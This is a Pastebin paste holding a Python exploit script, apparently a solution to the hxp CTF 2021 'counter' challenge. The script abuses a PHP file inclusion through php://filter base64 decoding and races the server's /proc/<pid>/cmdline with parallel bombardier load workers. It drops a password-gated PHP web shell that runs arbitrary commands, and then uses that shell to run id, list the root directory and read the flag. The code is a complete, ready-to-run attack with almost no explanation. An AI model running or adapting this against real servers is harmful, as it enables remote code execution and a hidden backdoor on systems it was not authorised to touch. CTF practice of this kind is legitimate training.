Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python3
- # hxp CTF 2021 counter
- import requests, threading, time,os, base64, re, tempfile, subprocess,secrets, hashlib, sys, random, signal
- from urllib.parse import urlparse,quote_from_bytes
- def urlencode(data, safe=''):
- return quote_from_bytes(data, safe)
- url = f'http://{sys.argv[1]}:{sys.argv[2]}/'
- backdoor_name = secrets.token_hex(8) + '.php'
- secret = secrets.token_hex(16)
- secret_hash = hashlib.sha1(secret.encode()).hexdigest()
- print('[+] backdoor_name: ' + backdoor_name, file=sys.stderr)
- print('[+] secret: ' + secret, file=sys.stderr)
- code = f"<?php if(sha1($_GET['s'])==='{secret_hash}')echo shell_exec($_GET['c']);".encode()
- payload = f"""<?php if(sha1($_GET['s'])==='{secret_hash}')file_put_contents("{backdoor_name}",$_GET['p']);/*""".encode()
- payload_encoded = b'abcdfg' + base64.b64encode(payload)
- print(payload_encoded)
- assert re.match(b'^[a-zA-Z0-9]+$', payload_encoded)
- with tempfile.NamedTemporaryFile() as tmp:
- tmp.write(b"sh\x00-c\x00rm\x00-f\x00--\x00'"+ payload_encoded +b"'")
- tmp.flush()
- o = subprocess.check_output(['php','-r', f'echo file_get_contents("php://filter/convert.base64-decode/resource={tmp.name}");'])
- print(o, file=sys.stderr)
- assert payload in o
- os.chdir('/tmp')
- subprocess.check_output(['php','-r', f'$_GET = ["p" => "test", "s" => "{secret}"]; include("php://filter/convert.base64-decode/resource={tmp.name}");'])
- with open(backdoor_name) as f:
- d = f.read()
- assert d == 'test'
- pid = -1
- N = 10
- done = False
- def worker(i):
- time.sleep(1)
- while not done:
- print(f'[+] starting include worker: {pid + i}', file=sys.stderr)
- s = f"""bombardier -c 1 -d 3m '{url}?page=php%3A%2F%2Ffilter%2Fconvert.base64-decode%2Fresource%3D%2Fproc%2F{pid + i}%2Fcmdline&p={urlencode(code)}&s={secret}' > /dev/null"""
- os.system(s)
- def delete_worker():
- time.sleep(1)
- while not done:
- print('[+] starting delete worker', file=sys.stderr)
- s = f"""bombardier -c 8 -d 3m '{url}?page={payload_encoded.decode()}&reset=1' > /dev/null"""
- os.system(s)
- for i in range(N):
- threading.Thread(target=worker, args=(i, ), daemon=True).start()
- threading.Thread(target=delete_worker, daemon=True).start()
- while not done:
- try:
- r = requests.get(url, params={
- 'page': '/proc/sys/kernel/ns_last_pid'
- }, timeout=10)
- print(f'[+] pid: {pid}', file=sys.stderr)
- if int(r.text) > (pid+N):
- pid = int(r.text) + 200
- print(f'[+] pid overflow: {pid}', file=sys.stderr)
- os.system('pkill -9 -x bombardier')
- r = requests.get(f'{url}data/{backdoor_name}', params={
- 's' : secret,
- 'c': f'id; ls -l /; /readflag; rm {backdoor_name}'
- }, timeout=10)
- if r.status_code == 200:
- print(r.text)
- done = True
- os.system('pkill -9 -x bombardier')
- exit()
- time.sleep(0.5)
- except Exception as e:
- print(e, file=sys.stderr)
Add Comment
Please, Sign In to add comment